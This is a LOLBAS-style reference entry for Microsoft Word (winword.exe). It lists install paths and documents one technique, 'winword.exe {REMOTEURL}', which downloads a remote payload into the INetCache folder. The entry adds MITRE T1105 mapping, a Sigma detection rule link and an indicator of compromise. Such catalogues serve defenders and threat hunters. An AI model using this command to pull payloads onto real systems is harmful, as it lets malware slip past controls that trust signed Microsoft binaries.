LOL · OtherMSBinary

Winword.exe

1 technique WindowsLOLBAS GPL-3.0

// LOL · Winword.exe

Full path: C:\Program Files\Microsoft Office\root\Office16\winword.exe
C:\Program Files (x86)\Microsoft Office 16\ClientX86\Root\Office16\winword.exe
C:\Program Files\Microsoft Office 16\ClientX64\Root\Office16\winword.exe
C:\Program Files (x86)\Microsoft Office\Office16\winword.exe
C:\Program Files\Microsoft Office\Office16\winword.exe
C:\Program Files (x86)\Microsoft Office 15\ClientX86\Root\Office15\winword.exe
C:\Program Files\Microsoft Office 15\ClientX64\Root\Office15\winword.exe
C:\Program Files (x86)\Microsoft Office\Office15\winword.exe
C:\Program Files\Microsoft Office\Office15\winword.exe
C:\Program Files (x86)\Microsoft Office 14\ClientX86\Root\Office14\winword.exe
C:\Program Files\Microsoft Office 14\ClientX64\Root\Office14\winword.exe
C:\Program Files (x86)\Microsoft Office\Office14\winword.exe
C:\Program Files\Microsoft Office\Office14\winword.exe
C:\Program Files (x86)\Microsoft Office\Office12\winword.exe
C:\Program Files\Microsoft Office\Office12\winword.exe
C:\Program Files\Microsoft Office\Office12\winword.exe
Author: Reegun J (OCBC Bank)
Created: 2019-07-19T00:00:00.000Z
Credits: Reegun J (OCBC Bank) @reegun21
Upstream: lolbas-project.github.io/lolbas/OtherMSBinaries/Winword/

Download

File Download Windows

Downloads payload from remote server

Use It will download a remote payload and place it in INetCache.

winword.exe {REMOTEURL}

Context: user
Native: Download
MITRE: T1105
Detection: Sigma: github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_office_arbitrary_cli_download.yml
IOC: Suspicious Office application Internet/network traffic
Refs: twitter.com/reegun21/status/1150032506504151040
medium.com/@reegun/unsanitized-file-validation-leads-to-malicious-payload-download-via-office-binaries-202d02db7191
lolbas-project.github.io/lolbas/OtherMSBinaries/Winword/